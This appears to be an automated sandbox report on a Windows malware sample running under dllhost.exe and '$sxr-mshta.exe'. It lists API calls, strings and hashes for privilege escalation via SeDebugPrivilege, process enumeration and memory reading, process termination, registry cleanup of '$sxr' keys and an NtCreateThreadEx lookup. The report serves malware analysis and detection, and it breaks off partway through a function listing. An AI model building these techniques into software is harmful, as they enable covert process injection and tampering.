MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	38.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	74.4%
Total number of Nodes:	43
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001014 Relevance: 58.0, APIs: 29, Strings: 4, Instructions: 218
memoryregistrycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 0000000140001027
OpenProcess.KERNEL32 ref: 0000000140001037
OpenProcessToken.ADVAPI32 ref: 0000000140001051
LookupPrivilegeValueW.ADVAPI32 ref: 0000000140001068
AdjustTokenPrivileges.ADVAPI32 ref: 00000001400010A4
GetLastError.KERNEL32 ref: 00000001400010AE
CloseHandle.KERNEL32 ref: 00000001400010B7
RegOpenKeyExW.ADVAPI32 ref: 00000001400010DD
RegDeleteValueW.ADVAPI32 ref: 00000001400010F2
SysAllocString.OLEAUT32 ref: 00000001400010FF
SysAllocString.OLEAUT32 ref: 000000014000110F
CoInitializeEx.OLE32 ref: 000000014000111C
CoInitializeSecurity.OLE32 ref: 0000000140001156
CoCreateInstance.OLE32 ref: 0000000140001195
VariantInit.OLEAUT32 ref: 00000001400011A7
CoUninitialize.OLE32 ref: 000000014000123B
SysFreeString.OLEAUT32 ref: 0000000140001244
SysFreeString.OLEAUT32 ref: 000000014000124D
GetProcessHeap.KERNEL32 ref: 0000000140001253
HeapAlloc.KERNEL32 ref: 0000000140001264
OpenProcess.KERNEL32 ref: 00000001400012A8
TerminateProcess.KERNEL32 ref: 00000001400012BB
CloseHandle.KERNEL32 ref: 00000001400012C4
GetProcessHeap.KERNEL32 ref: 00000001400012D4
HeapFree.KERNEL32 ref: 00000001400012E2
GetProcessHeap.KERNEL32 ref: 00000001400012E8
HeapAlloc.KERNEL32 ref: 00000001400012F9
GetProcessHeap.KERNEL32 ref: 0000000140001342
HeapFree.KERNEL32 ref: 0000000140001350

Strings

SOFTWARE, xrefs: 00000001400010CF
$sxrstager, xrefs: 00000001400010EB
$sxrsvc64, xrefs: 00000001400010F8
SeDebugPrivilege, xrefs: 0000000140001061

Memory Dump Source

Source File: 00000008.00000002.2310170418.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Heap$AllocFreeOpenString$CloseHandleInitializeTokenValue$AdjustCreateCurrentDeleteErrorInitInstanceLastLookupPrivilegePrivilegesSecurityTerminateUninitializeVariant
String ID: $sxrstager$$sxrsvc64$SOFTWARE$SeDebugPrivilege
API String ID: 2227612056-566595606
Opcode ID: 33545f7b093bffa7e6d6e68f596167ee68986d03797a0cce563c85867658168a
Instruction ID: 783fc730cd4673971968b08ac741f1a1a7a0f0db785b3f54083c1a857c08c9a6
Opcode Fuzzy Hash: 33545f7b093bffa7e6d6e68f596167ee68986d03797a0cce563c85867658168a
Instruction Fuzzy Hash: 60A117B2700B4586EB16CF66F8543E923A5FB8DB89F448125EF0E47AA5DF38D549C300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001368 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000139B
HeapAlloc.KERNEL32 ref: 00000001400013AE
GetProcessHeap.KERNEL32 ref: 00000001400013BC
HeapAlloc.KERNEL32 ref: 00000001400013CD
K32EnumProcesses.KERNEL32 ref: 00000001400013E7
OpenProcess.KERNEL32 ref: 0000000140001415
K32EnumProcessModules.KERNEL32 ref: 000000014000143A
ReadProcessMemory.KERNEL32 ref: 0000000140001471
CloseHandle.KERNEL32 ref: 00000001400014B6
GetProcessHeap.KERNEL32 ref: 00000001400014C8
HeapFree.KERNEL32 ref: 00000001400014D6
GetProcessHeap.KERNEL32 ref: 00000001400014DC
HeapFree.KERNEL32 ref: 00000001400014EA

Memory Dump Source

Source File: 00000008.00000002.2310170418.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 5c9e6c8d196d291886fbe90ea79c47c3ea45cb56a21c54cb6fbac88e5fb9df12
Instruction ID: 0c4118f11d38248736db898342297cfd33e1e7ee26b5e3befa791c7e9a42177d
Opcode Fuzzy Hash: 5c9e6c8d196d291886fbe90ea79c47c3ea45cb56a21c54cb6fbac88e5fb9df12
Instruction Fuzzy Hash: 58514AB2611B818AEB66DF63B8587DA22A1F78DBC4F444025EF4A5B764DF38C545C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140000231 Relevance: 2.5, APIs: 1, Instructions: 1021
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 000000014000100B

Memory Dump Source

Source File: 00000008.00000002.2310170418.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 7ac854e1e7e6dbe7a1b520466d2429235592816ec396c733cc4186b22ad55d33
Instruction ID: 71e4820d4104f39f37cf17a5aebe01a9dbe568c608f41c0cf1242f6b27dbe954
Opcode Fuzzy Hash: 7ac854e1e7e6dbe7a1b520466d2429235592816ec396c733cc4186b22ad55d33
Instruction Fuzzy Hash: 84E0426350E3C10FC7038B74586419C3FB09796A50B8EC59BC385C3383C61C5409C312

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001000 Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001014: GetCurrentProcessId.KERNEL32 ref: 0000000140001027
Part of subcall function 0000000140001014: OpenProcess.KERNEL32 ref: 0000000140001037
Part of subcall function 0000000140001014: OpenProcessToken.ADVAPI32 ref: 0000000140001051
Part of subcall function 0000000140001014: LookupPrivilegeValueW.ADVAPI32 ref: 0000000140001068
Part of subcall function 0000000140001014: AdjustTokenPrivileges.ADVAPI32 ref: 00000001400010A4
Part of subcall function 0000000140001014: GetLastError.KERNEL32 ref: 00000001400010AE
Part of subcall function 0000000140001014: CloseHandle.KERNEL32 ref: 00000001400010B7
Part of subcall function 0000000140001014: RegOpenKeyExW.ADVAPI32 ref: 00000001400010DD
Part of subcall function 0000000140001014: RegDeleteValueW.ADVAPI32 ref: 00000001400010F2
Part of subcall function 0000000140001014: SysAllocString.OLEAUT32 ref: 00000001400010FF
Part of subcall function 0000000140001014: SysAllocString.OLEAUT32 ref: 000000014000110F
Part of subcall function 0000000140001014: CoInitializeEx.OLE32 ref: 000000014000111C
Part of subcall function 0000000140001014: CoInitializeSecurity.OLE32 ref: 0000000140001156
Part of subcall function 0000000140001014: CoCreateInstance.OLE32 ref: 0000000140001195
Part of subcall function 0000000140001014: VariantInit.OLEAUT32 ref: 00000001400011A7

ExitProcess.KERNEL32 ref: 000000014000100B

Memory Dump Source

Source File: 00000008.00000002.2310170418.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Open$AllocInitializeStringTokenValue$AdjustCloseCreateCurrentDeleteErrorExitHandleInitInstanceLastLookupPrivilegePrivilegesSecurityVariant
String ID:
API String ID: 767316500-0
Opcode ID: 744f39d44c6e1cf923b69681ca2190275410b93513addb8cd57da560c05945df
Instruction ID: 146724fef438b737ed00828a951e49ec2c44f6708d9892ddea2fdd56566e6da4
Opcode Fuzzy Hash: 744f39d44c6e1cf923b69681ca2190275410b93513addb8cd57da560c05945df
Instruction Fuzzy Hash: 65A011B0A00280A2EA0AFBB2388A3C800200B88380F000808A30A832B3CE3C00C88220

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0000000140001648 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 11
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000000140001653
GetProcAddress.KERNEL32 ref: 000000014000166A

Strings

ntdll.dll, xrefs: 000000014000164C
NtCreateThreadEx, xrefs: 0000000140001663

Memory Dump Source

Source File: 00000008.00000002.2310170418.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_140000000_dllhost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtCreateThreadEx$ntdll.dll
API String ID: 1646373207-690569937
Opcode ID: 765a30b2bbc0babb255d7f809e438350524f6181367cf5a0d3374a3ce406139f
Instruction ID: 1f1ac530e8d7bc586301703381b49fd6cf30065bcfbc8e8d092ce1a2171d6dbf
Opcode Fuzzy Hash: 765a30b2bbc0babb255d7f809e438350524f6181367cf5a0d3374a3ce406139f
Instruction Fuzzy Hash: 5CD0E9F4612A41D1EA0BEF57FC593D512616B9C7C5F854461A70A43271DE3C859AC710

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dllhost.exePID: 1036, Parent PID: 3180COMMON

Execution Graph

Execution Coverage:	64.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	56
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0040133E Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00401348
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00401355
OpenProcessToken.ADVAPI32(00000000,00000028,?), ref: 00401368
LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 0040137C
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000), ref: 004013AC
GetLastError.KERNEL32 ref: 004013B6
FindCloseChangeNotification.KERNELBASE(00000000), ref: 004013C5

Strings

SeDebugPrivilege, xrefs: 00401376

Memory Dump Source

Source File: 00000009.00000002.2310344196.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dllhost.jbxd

Similarity

API ID: Process$OpenToken$AdjustChangeCloseCurrentErrorFindLastLookupNotificationPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 575374161-2896544425
Opcode ID: f0a33f7c903080f54f4a1dfe6a3c8c5db33aaa213762ad9be091dafd7757ca93
Instruction ID: e2a5f4244efd0fdb54eb2fb8bae3e68f4838b917bcc28da7506a6e19d6301c26
Opcode Fuzzy Hash: f0a33f7c903080f54f4a1dfe6a3c8c5db33aaa213762ad9be091dafd7757ca93
Instruction Fuzzy Hash: C101CC75901619AFE7009BA49E89BAF77BCEB04745F004435BA01F22D1D7B49E44CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00401081 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 140
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00009C40,?,?,00000000), ref: 004010A4
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 004010B1
GetProcessHeap.KERNEL32(00000000,00009C40,?,?,00000000), ref: 004010BF
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 004010C6
K32EnumProcesses.KERNEL32(000003E8,00009C40,?,?,?,00000000), ref: 004010DB
OpenProcess.KERNEL32(00000410,00000000,000003E8,?,?,00000000), ref: 0040110A
K32EnumProcessModules.KERNEL32(00000000,?,00009C40,?,?,?,00000000), ref: 00401127
ReadProcessMemory.KERNEL32(00000000,?,?,00000200,00000000,?,?,00000000), ref: 0040115D
FindCloseChangeNotification.KERNELBASE(00000000,?,?,00000000), ref: 004011EB
GetProcessHeap.KERNEL32(00000000,000003E8,?,?,00000000), ref: 004011FF
RtlFreeHeap.NTDLL(00000000,?,?,00000000), ref: 0040120C
GetProcessHeap.KERNEL32(00000000,?,?,?,00000000), ref: 00401212
RtlFreeHeap.NTDLL(00000000,?,?,00000000), ref: 00401219

Strings

pD$v, xrefs: 0040115D

Memory Dump Source

Source File: 00000009.00000002.2310344196.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$ChangeCloseFindMemoryModulesNotificationOpenProcessesRead
String ID: pD$v
API String ID: 2178662837-1969647411
Opcode ID: 6f488189a1a7d797b470e7b51ae5cf9387d1cdd426fc30596596fbc8e91c7bf4
Instruction ID: da445f777c3a34a6d199b0584eba223951ce35d7d1b72319c39e632b78911c99
Opcode Fuzzy Hash: 6f488189a1a7d797b470e7b51ae5cf9387d1cdd426fc30596596fbc8e91c7bf4
Instruction Fuzzy Hash: 8A513075D00219ABDB14DFD5CE84AAFBBB8FF0D300F10446AE645BB290D7789A41CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004013D1 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32($sxrsvc32), ref: 004013E7
SysAllocString.OLEAUT32(00402114), ref: 004013F1
CoInitializeEx.OLE32(00000000,00000000), ref: 004013FA
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00401414
CoCreateInstance.OLE32(00402098,00000000,00000001,00402088,?), ref: 0040143F
VariantInit.OLEAUT32(?), ref: 00401451
CoUninitialize.OLE32 ref: 004014DE
SysFreeString.OLEAUT32(?), ref: 004014F0
SysFreeString.OLEAUT32(00000000), ref: 004014F3

Strings

$sxrsvc32, xrefs: 004013E2

Memory Dump Source

Source File: 00000009.00000002.2310344196.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dllhost.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: $sxrsvc32
API String ID: 4184240511-78464866
Opcode ID: 38db96cfb1d59210e069f34f99d5ef3867f18490da2d230adee7354f9f4af0ad
Instruction ID: 8a654483f6148525abe5e909ff2a9399e1f522979beb927b6318c92976265d17
Opcode Fuzzy Hash: 38db96cfb1d59210e069f34f99d5ef3867f18490da2d230adee7354f9f4af0ad
Instruction Fuzzy Hash: 55415271E00218AFDB00DFA9CD899AF7BBDEF45354B100069F905FB1A0C6B5AD05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401509 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 58
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040133E: GetCurrentProcessId.KERNEL32 ref: 00401348
Part of subcall function 0040133E: OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00401355
Part of subcall function 0040133E: OpenProcessToken.ADVAPI32(00000000,00000028,?), ref: 00401368
Part of subcall function 0040133E: LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 0040137C
Part of subcall function 0040133E: AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000), ref: 004013AC
Part of subcall function 0040133E: GetLastError.KERNEL32 ref: 004013B6
Part of subcall function 0040133E: FindCloseChangeNotification.KERNELBASE(00000000), ref: 004013C5

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE,00000000,000F023F,?,?,?,?,00401501), ref: 00401528
RegDeleteValueW.KERNELBASE(?,$sxrstager,?,?,?,00401501), ref: 0040153A
GetProcessHeap.KERNEL32(00000000,00003E80,?,?,?,?,00401501), ref: 00401552
HeapAlloc.KERNEL32(00000000,?,?,?,?,00401501), ref: 00401559
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401501), ref: 004015A0
RtlFreeHeap.NTDLL(00000000,?,?,?,?,00401501), ref: 004015A7

Strings

SOFTWARE, xrefs: 0040151E
$sxrstager, xrefs: 00401532

Memory Dump Source

Source File: 00000009.00000002.2310344196.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dllhost.jbxd

Similarity

API ID: Process$Heap$Open$TokenValue$AdjustAllocChangeCloseCurrentDeleteErrorFindFreeLastLookupNotificationPrivilegePrivileges
String ID: $sxrstager$SOFTWARE
API String ID: 2353213234-1606840681
Opcode ID: d6fe065efa0b92b2caeb308442f95c4532e4efd9946b2338f3fdf9202a6ba47c
Instruction ID: e2b15fd1bdb0af68db2fceded59578336af26d801dc78018de8527ed98e595ed
Opcode Fuzzy Hash: d6fe065efa0b92b2caeb308442f95c4532e4efd9946b2338f3fdf9202a6ba47c
Instruction Fuzzy Hash: B401A531B00310BBE7107BF59E4EB6F776D9B44705F00043AF706F62E2DAB89A418658

Uniqueness

Uniqueness Score: -1.00%

Function 00401292 Relevance: 10.6, APIs: 7, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00003E80,?,?,?,0040154B,?,?,?,?,00401501), ref: 0040129E
HeapAlloc.KERNEL32(00000000,?,?,?,0040154B,?,?,?,?,00401501), ref: 004012A5

Part of subcall function 00401081: GetProcessHeap.KERNEL32(00000000,00009C40,?,?,00000000), ref: 004010A4
Part of subcall function 00401081: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 004010B1
Part of subcall function 00401081: GetProcessHeap.KERNEL32(00000000,00009C40,?,?,00000000), ref: 004010BF
Part of subcall function 00401081: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 004010C6
Part of subcall function 00401081: K32EnumProcesses.KERNEL32(000003E8,00009C40,?,?,?,00000000), ref: 004010DB
Part of subcall function 00401081: OpenProcess.KERNEL32(00000410,00000000,000003E8,?,?,00000000), ref: 0040110A
Part of subcall function 00401081: K32EnumProcessModules.KERNEL32(00000000,?,00009C40,?,?,?,00000000), ref: 00401127
Part of subcall function 00401081: ReadProcessMemory.KERNEL32(00000000,?,?,00000200,00000000,?,?,00000000), ref: 0040115D
Part of subcall function 00401081: FindCloseChangeNotification.KERNELBASE(00000000,?,?,00000000), ref: 004011EB
Part of subcall function 00401081: GetProcessHeap.KERNEL32(00000000,000003E8,?,?,00000000), ref: 004011FF
Part of subcall function 00401081: RtlFreeHeap.NTDLL(00000000,?,?,00000000), ref: 0040120C

OpenProcess.KERNEL32(00000001,00000000,00000000,?,?,?,?,?,0040154B,?,?,?,?,00401501), ref: 004012E3
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,?,?,0040154B,?,?,?,?,00401501), ref: 004012F3
CloseHandle.KERNEL32(000003E8,?,?,?,?,?,0040154B,?,?,?,?,00401501), ref: 004012FC
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,0040154B,?,?,?,?,00401501), ref: 0040130F
RtlFreeHeap.NTDLL(00000000,?,?,?,0040154B,?,?,?,?,00401501), ref: 00401316

Memory Dump Source

Source File: 00000009.00000002.2310344196.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dllhost.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeOpen$ChangeFindHandleMemoryModulesNotificationProcessesReadTerminate
String ID:
API String ID: 1088988999-0
Opcode ID: 757573c93e28f14fb1ba0b7102d0f3237b6072edb6f5997e5a0090194d86dbfe
Instruction ID: ab2b09c8b71ca9c99a709ec0924a6b803fad294693bd42ca56058f473aaebc13
Opcode Fuzzy Hash: 757573c93e28f14fb1ba0b7102d0f3237b6072edb6f5997e5a0090194d86dbfe
Instruction Fuzzy Hash: B601C071A00301ABEB116BE48F0DB5F77A8EB04712F144136EA05B22E1DBB88D40C768

Uniqueness

Uniqueness Score: -1.00%

Function 004014FC Relevance: 3.0, APIs: 2, Instructions: 3
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00401509: RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE,00000000,000F023F,?,?,?,?,00401501), ref: 00401528
Part of subcall function 00401509: RegDeleteValueW.KERNELBASE(?,$sxrstager,?,?,?,00401501), ref: 0040153A
Part of subcall function 00401509: GetProcessHeap.KERNEL32(00000000,00003E80,?,?,?,?,00401501), ref: 00401552
Part of subcall function 00401509: HeapAlloc.KERNEL32(00000000,?,?,?,?,00401501), ref: 00401559
Part of subcall function 00401509: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00401501), ref: 004015A0
Part of subcall function 00401509: RtlFreeHeap.NTDLL(00000000,?,?,?,?,00401501), ref: 004015A7

ExitProcess.KERNEL32 ref: 00401502

Memory Dump Source

Source File: 00000009.00000002.2310344196.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocDeleteExitFreeOpenValue
String ID:
API String ID: 3703222776-0
Opcode ID: a5779c28a6b8967d7da92993e240726da911757312e1828e8db22bb694370d56
Instruction ID: d57de1a7dd692de033d0a6d08cf0830a53249df09c6425f09644fba4c2c840d6
Opcode Fuzzy Hash: a5779c28a6b8967d7da92993e240726da911757312e1828e8db22bb694370d56
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00401000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\$sxrconfig,00000000,000F013F,000003E8,?,00000000), ref: 00401022
RegDeleteKeyW.ADVAPI32(000003E8,?), ref: 00401038
RegEnumKeyExW.ADVAPI32(000003E8,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000), ref: 00401058
RegCloseKey.ADVAPI32(000003E8,?,00000000), ref: 00401065
RegDeleteKeyExW.ADVAPI32(80000002,SOFTWARE\$sxrconfig,000F013F,00000000,?,00000000), ref: 00401077

Strings

SOFTWARE\$sxrconfig, xrefs: 00401018, 0040106D

Memory Dump Source

Source File: 00000009.00000002.2310344196.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dllhost.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\$sxrconfig
API String ID: 3013565938-435319591
Opcode ID: 2528680542b238720625209ed60730b67297ede93f81eef034d8d6255c84281c
Instruction ID: d544ddb297f42690969b4a203d904ba38e423bc2ba9d9ccdcf6cbbeeb35745ab
Opcode Fuzzy Hash: 2528680542b238720625209ed60730b67297ede93f81eef034d8d6255c84281c
Instruction Fuzzy Hash: CD011271500288FBD7609B92DE4DEAB7ABCEBC5741F10007AB605F10A0DB745E44DA35

Uniqueness

Uniqueness Score: -1.00%

Function 0040131F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 10
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,00401271,000003E8,001FFFFF,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00401593), ref: 00401324
GetProcAddress.KERNEL32(00000000,NtCreateThreadEx), ref: 00401334

Strings

NtCreateThreadEx, xrefs: 0040132E
ntdll.dll, xrefs: 0040131F

Memory Dump Source

Source File: 00000009.00000002.2310344196.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_dllhost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtCreateThreadEx$ntdll.dll
API String ID: 1646373207-690569937
Opcode ID: 3bcd05d4379314f12e90f4ac3ba0850e69dab5ee5c9b3da2987142fd71515db8
Instruction ID: d003ae9fd3514cd023d1297aa5e823454f89fcb9fe9eff1a1c2077655f61d9ec
Opcode Fuzzy Hash: 3bcd05d4379314f12e90f4ac3ba0850e69dab5ee5c9b3da2987142fd71515db8
Instruction Fuzzy Hash: 63C09270B423009AEE102B715F0DF0B3A686A40B42B1448B3B609F05E4DAFCC484D52C

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: $sxr-mshta.exePID: 2616, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8%
Total number of Nodes:	490
Total number of Limit Nodes:	8

Executed Functions

Function 00007FF64E1D1008 Relevance: 45.7, APIs: 18, Strings: 8, Instructions: 225
libraryregistryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00007FF64E1D1036
GetModuleHandleW.KERNEL32 ref: 00007FF64E1D1051
GetProcAddress.KERNEL32 ref: 00007FF64E1D106C
LoadLibraryW.KERNEL32 ref: 00007FF64E1D10CF
GetProcAddress.KERNEL32 ref: 00007FF64E1D10F1
FreeLibrary.KERNEL32 ref: 00007FF64E1D1142
RegOpenKeyExA.KERNEL32 ref: 00007FF64E1D1177
RegQueryValueExA.KERNEL32 ref: 00007FF64E1D11A8
ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF64E1D11D0
LoadLibraryA.KERNEL32 ref: 00007FF64E1D11F1
RegCloseKey.KERNEL32 ref: 00007FF64E1D1220
GetModuleHandleW.KERNEL32 ref: 00007FF64E1D1238
GetProcAddress.KERNEL32 ref: 00007FF64E1D1257
MultiByteToWideChar.KERNEL32 ref: 00007FF64E1D12B3
UnregisterApplicationRestart.KERNEL32 ref: 00007FF64E1D12CB
GetProcAddress.KERNEL32 ref: 00007FF64E1D12F0
FreeLibrary.KERNEL32 ref: 00007FF64E1D1317
RegCloseKey.ADVAPI32 ref: 00007FF64E1D134A

Strings

WLDP.DLL, xrefs: 00007FF64E1D10C8
Kernel32.dll, xrefs: 00007FF64E1D104A
WldpGetLockdownPolicy, xrefs: 00007FF64E1D10E7
kernel32.dll, xrefs: 00007FF64E1D1231
RegisterApplicationRestart, xrefs: 00007FF64E1D124D
RunHTMLApplication, xrefs: 00007FF64E1D12E6
clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32, xrefs: 00007FF64E1D1169
HeapSetInformation, xrefs: 00007FF64E1D1062

Memory Dump Source

Source File: 0000000A.00000002.3381060443.00007FF64E1D1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64E1D0000, based on PE: true

Associated: 0000000A.00000002.3380937686.00007FF64E1D0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.3381136829.00007FF64E1D2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.3381242607.00007FF64E1D4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff64e1d0000_$sxr-mshta.jbxd

Similarity

API ID: AddressLibraryProc$CloseFreeHandleLoadModule$ApplicationByteCharEnvironmentExpandMultiOpenQueryRestartStringsUnregisterValueVersionWide
String ID: HeapSetInformation$Kernel32.dll$RegisterApplicationRestart$RunHTMLApplication$WLDP.DLL$WldpGetLockdownPolicy$clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32$kernel32.dll
API String ID: 964684844-3560873152
Opcode ID: dc379254d7062b2c9d9d99fd964e67e02d36f5c1262e3285976f4046407a451e
Instruction ID: 6f1a2729b29337540d7ef69ce0483aad55ede80e8dabb7a75036e3ac329fe8fd
Opcode Fuzzy Hash: dc379254d7062b2c9d9d99fd964e67e02d36f5c1262e3285976f4046407a451e
Instruction Fuzzy Hash: D9914235B4C64296FB14BB61A84097976A1FF59BA4B448334EE2E877D4DF3CF445CA00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF64E1D1500 Relevance: 12.1, APIs: 8, Instructions: 136
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF64E1D19D4: GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF64E1D1A04
Part of subcall function 00007FF64E1D19D4: GetCurrentProcessId.KERNEL32 ref: 00007FF64E1D1A12
Part of subcall function 00007FF64E1D19D4: GetCurrentThreadId.KERNEL32 ref: 00007FF64E1D1A1E
Part of subcall function 00007FF64E1D19D4: GetTickCount.KERNEL32 ref: 00007FF64E1D1A2A
Part of subcall function 00007FF64E1D19D4: GetTickCount.KERNEL32 ref: 00007FF64E1D1A3A
Part of subcall function 00007FF64E1D19D4: QueryPerformanceCounter.KERNEL32 ref: 00007FF64E1D1A55

GetStartupInfoW.KERNEL32 ref: 00007FF64E1D1535
_amsg_exit.MSVCRT ref: 00007FF64E1D1570
Sleep.KERNEL32 ref: 00007FF64E1D157C
_initterm.MSVCRT ref: 00007FF64E1D160A
